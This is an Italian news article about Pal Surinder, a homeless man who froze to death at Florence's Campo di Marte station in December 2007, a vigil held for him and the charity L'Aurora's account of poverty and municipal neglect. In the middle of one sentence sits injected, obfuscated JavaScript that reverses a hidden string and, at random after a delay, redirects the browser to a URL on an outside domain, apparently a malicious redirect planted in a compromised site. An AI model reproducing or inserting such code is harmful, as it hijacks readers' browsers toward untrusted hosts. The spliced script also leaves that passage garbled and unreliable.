Emergenza umana. I poveri e la città

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La stagione più fredda dell’anno si chiama inverno. Nell’emisfero boreale inizia il 21 dicembre e termina il 21 marzo. Il freddo non è un’emergenza. È semplicemente una stagione dell’anno. È, invece, un’emergenza quello che è successo e che sta succedendo in questa città: morire di freddo per la strada, su un binario di una stazione, peggio di un cane rognoso; questa è la vera emergenza, un’emergenza per le nostre coscienze.
È successo alla stazione di Campo di Marte. Pal Surinder, cittadino indiano senza tutto, è morto, morto di freddo lo scorso 28 dicembre, nel silenzio di tutti. La notizia è stata comunicata soltanto il 4 gennaio. Perché? Com’è possibile che ancora oggi un uomo possa morire così? Il Comune, ha dichiarato l’assessore all’accoglienza Lucia De Siervo, ha predisposto un progetto di accoglienza invernale di 140 posti; 15 i posti per le emergenze. L’accoglienza di una città che si dice civile non si può misurare. L’accoglienza non è un numero. È semplicemente non permettere che questo succeda ancora. A Firenze esiste un’emergenza, un’emergenza umana e sociale fortissima. Questa è l’unica gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande emergenza.
Firenze, Stazione di Campo di Marte, 9 gennaio 2008, ore 19.30. Ci sono uomini e donne; c’è un prete, Alessandro Santoro, il prete delle Piagge; una piccola folla di circa cinquanta persone riunita intorno a lui che si è data appuntamento qui, alla stazione di Campo di Marte, lo scorso 9 gennaio, per ricordare Pal. “Quando un uomo muore come è morto Pal Surinder, dice Santoro, “assiderato su un binario morto della stazione di Campo di Marte, una città dovrebbe fermarsi, rileggere se stessa, domandarsi dove sta andando”. Per questo, la Comunità di Base delle Piagge, “insieme ai poveri di tutto”, si è data questo appuntamento: “per vivere un momento di memoria, di preghiera, di veglia, di silenzio, di denuncia, di riflessione aperto a tutti”. Ma questi “tutti” non ci sono. Non ci (segue dalla prima) sono gli uomini e le donne delle istituzioni. Nemmeno le associazioni di volontariato come l’Arci o la Caritas. Manca il sindaco, il vicesindaco, l’assessore all’accoglienza. Solo gente comune che, in silenzio, si prende per mano. Una donna, tra i presenti, prende la parola: “bisogna indignarsi, perché poi ci si abitua a non indignarsi più; bisogna indignarsi insieme perché l’indignazione è diversa se si è insieme”. “Come cristiana penso che bisognerebbe vergognarsi e chiedere perdono”, dice Maria. “Siamo tutti colpevoli”, aggiunge Paolo, “nessuno può esimere dal sentirsi colpevole”. Accanto a me, un ragazzo down ripete, “è morto, è morto”.
Ma di chi sono le responsabilità di questa assurda morte? L’assemblea autoconvocata delle Piagge, insieme a numerosi altri soggetti dell’associazionismo fiorentino, aveva, lo scorso 22 dicembre, denunciato al Prefetto e alle autorità comunali, la grave situazione in cui oggi vivono alcune centinaia di persone nella nostra città chiedendo di intervenire tempestivamente con nuovi posti letto e con l’allestimento di tendoni forniti dalla Protezione Civile. La stessa richiesta era stata oggetto anche di una interrogazione presentata da Ornella Di Zordo di Unaltracittà/Unaltromondo in consiglio comunale. La De Siervo aveva replicato sostenendo che i posti a disposizione dei senza tetto erano sufficienti. Ma la morte di un uomo è una sconfitta. E su questo si deve riflettere. Perché se davvero ci fosse stata accoglienza, forse questa morte si sarebbe potuta evitare. Questo è il punto. Qualcosa, evidentemente, non ha funzionato.
Associazione L’Aurora, 11 gennaio, ore 10.00. In Via dei Macci, 11, nel quartiere di Santa Croce, all’interno di un’antica chiesa sconsacrata dove nel 1500 trovavano accoglienza le donne “malmaritate”, ha sede l’associazione L’Aurora che, dal 1989, si occupa di poveri; una presenza importante per il quartiere e per la città, un luogo di sosta aperto a tutti, con o senza documenti. L’associazione, in affitto presso la curia, si auto sostiene finanziariamente attraverso un piccolo mercatino dell’usato senza ricevere, “per motivi di non appartenenza” partitica, alcuna sovvenzione da parte del Comune. Stefania, quattro figli e una vita dedicata a stare vicino alle persone in difficoltà, è seduta a parlare, telefonare, prendere appuntamenti. Due donne fanno colazione; una terza, appena uscita dal bagno, si pettina i lunghi capelli scuri. L’Associazione ogni giorno, dalle 9 alle 11, apre le porte alla città dei poveri, offrendo colazione, possibilità di lavarsi e qualche vestito pulito.
Sono sempre di più le persone in difficoltà, dice Stefania: “persone comuni che avevano una casa e un lavoro fino poco tempo fa, che iniziano a dormire in macchina perché gli rimane la macchina, poi perdono anche quella e si trovano a diventare clienti dell’assistenza. I due terzi di queste persone sono italiani, l’altro terzo è costituito da stranieri, soprattutto rom provenienti dalla Romania. Abbiamo poi 80 nuclei familiari provenienti da vari quartieri che vengono qui per ricevere il pacco alimentare. Dal ’94 abbiamo una convenzione con il banco alimentare che, una volta al mese, ci passa pasta, riso, zucchero, latte, burro, quello che c’è”. La situazione sociale e umana di tutte queste persone, è notevolmente peggiorata in quest’ultimo periodo: dalle famigerate ordinanze contro i lavavetri, al sequestro di fisarmoniche, per arrivare alla gravissima requisizione, effettuata dalla polizia municipale, di duecento coperte distribuite anche tramite L’Aurora ai senza tetto della città. Atti inqualificabili. Rimane solo “chiedere l’elemosina, con l’arbitrio se definirlo come accattonaggio molesto o no”. Sembra proprio che le istituzioni, in questa città, siano diventate una vera e propria “controparte”; “e questo è il disagio più grosso”, prosegue Stefania. Questi, per esempio, i rapporti con il quartiere: “pensavo potesse essere bellissimo, per il quartiere, avere un posto così. E, invece, lo vivono come se fosse una provocazione. Ogni anno chiediamo aiuto, nel senso che entro il 30 di novembre si può chiedere un contributo economico ai quartieri, che automaticamente non viene accolto. Abbiamo fatto numerose riunioni con il mercato di Sant’Ambrogio, una realtà a noi vicina, per chiedere gli avanzi che possono donare. C’è stata una chiusura totale; un solo macellaio dissidente in tutto il mercato che ci sostiene completamente e, qui all’angolo, il fornaio che ci regala il pane per tutta la settimana”.
“A noi poveri”, si legge nel “Manifesto dei poveri di Firenze” raccolto dall’associazione L’Aurora, “sembra che oltre l’emergenza freddo ci sia un’emergenza umana: ovvero il diritto ad esistere. Non siamo mica a Bombay che si subisce una umanità di diseredati e di poveri per cui è difficile intervenire. Ci chiediamo cosa aspetti il Comune a creare un ufficio sociale per i poveri”. E, invece, manca ancora tanto. Uno dei problemi più grossi è quello della residenza. Ottenerla è un’impresa lunga e difficile. “Bisogna passare da un gruppo di associazioni che ti inseriscono in un percorso chiamato di reinserimento in cui tu non devi mancare una tappa, mai, perché sennò ti salta la residenza”. E, se salta, addio lavoro. Alla fine, se tutto va bene, quello che dovrebbe essere un diritto, diventa, per i pochi fortunati, “un premio”. Ma a chi vive in strada, manca tutto: dalla casa al lavoro e per questo la residenza non viene concessa. Un circolo perverso che, ancora oggi, ha permesso che un uomo solo, a Firenze, muoia di freddo.

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